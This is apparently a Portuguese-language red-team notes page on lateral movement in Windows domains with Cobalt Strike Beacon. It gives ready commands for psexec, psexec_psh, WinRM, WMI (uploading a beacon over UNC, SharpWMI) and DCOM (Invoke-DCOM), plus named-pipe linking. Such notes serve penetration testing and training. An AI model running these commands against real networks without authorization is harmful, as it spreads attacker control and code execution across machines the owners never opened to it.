Movimentação Lateral
A sintáxe do jump
é jump <method> <alvo> <listner>
. Vendo a lista de métodos de Jump
jump
Vendo a lista de métodos de remote-exec
remote-exec
Enumerando configurações de computares na rede
execute-assembly <C:\path\to\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe> OSInfo -ComputerName=<hostname>
Realizando a Movimentação Lateral
O SMB Beacon é uma excelente escolha quando se move lateralmente, porque o protocolo SMB é amplamente utilizado em um ambiente Windows, então esse tráfego combina muito bem.
PSExec
Tanto o psexec quanto psexec64, funcionam carregando um binário de serviço no sistema de destino e, em seguida, criando e iniciando um serviço do Windows para executar esse binário. Beacons executados desta forma são executados como SYSTEM
.
jump psexec64 <host.domain.local> smb
psexec_psh
Dessa forma, não irá copiar um binário para a máquina de destino, mas em vez disso executa uma linha única do PowerShell (sempre de 32 bits). O padrão usado por padrão é %COMSPEC% /b /c start /b /min powershell -nop -w hidden -encodedcommand ...
. Beacons executados desta forma também são executados como SYSTEM
.
jump psexec_psh <host> smb
WinRM
Utiliza o WinRM para acesso
jump winrm64 <host.domain.local> smb
WMI (Windows Management Instrumentation)
o WMI não faz parte do comando jump
, mas sim do comando remote-exec
. O método remote-exec
usa a process call create
do WMI para executar qualquer comando que especificarmos no destino. O meio mais direto de usar isso é fazer upload de do payload para o sistema de destino e usar o WMI para executá-la. Podemos fazer upload através do caminho UNC
e após isso, executando-o.
# Enviando arquivo
cd \\<host.domain.local>\<directory$>
upload <C:\path\to\smb_x64.exe>
# Executando remotamente
remote-exec wmi <host.domain.local> <C:\path\to\remote\smb_x64.exe>
Após executar, vamos nos conectar. Quando um binário é executado via WMI dessa forma, ele será filho de WmiPrvSE.exe
. Altere o valor do PIPE para um que exista na máquina alvo.
link <host.domain.local> <TSVCPIPE-ab0f0aba-021a-f2dc-cc45-be45f53aaf37>
É comum recebermos o erro abaixo, pois isso só pode ser chamado uma vez por processo.
CoInitializeSecurity already called. Thread token (if there is one) may not get used
Para contornamos essa situação, podemos utilizar o seguinte comando:
execute-assembly <C:\path\to\SharpWMI\SharpWMI\bin\Release\SharpWMI.exe> action=exec computername=<host.domain.local> command="<C:\path\to\remote\smb_x64.exe>"
DCOM (Distributed Component Object Model)
O Beacon não possui recursos integrados para interagir por meio do Distributed Component Object Model (DCOM)
, portanto, devemos usar uma ferramenta externa como o Invoke-DCOM
. Altere o valor do PIPE para um que exista na máquina alvo.
powershell-import <C:\path\to\Invoke-DCOM.ps1>
powershell Invoke-DCOM -ComputerName <host.domain.local> -Method MMC20.Application -Command <C:\path\to\remote\smb_x64.exe>
link <host.domain.local> <TSVCPIPE-ab0f0aba-021a-f2dc-cc45-be45f53aaf37>
Sites
# Invoke-DCOM
https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1
Last updated
Was this helpful?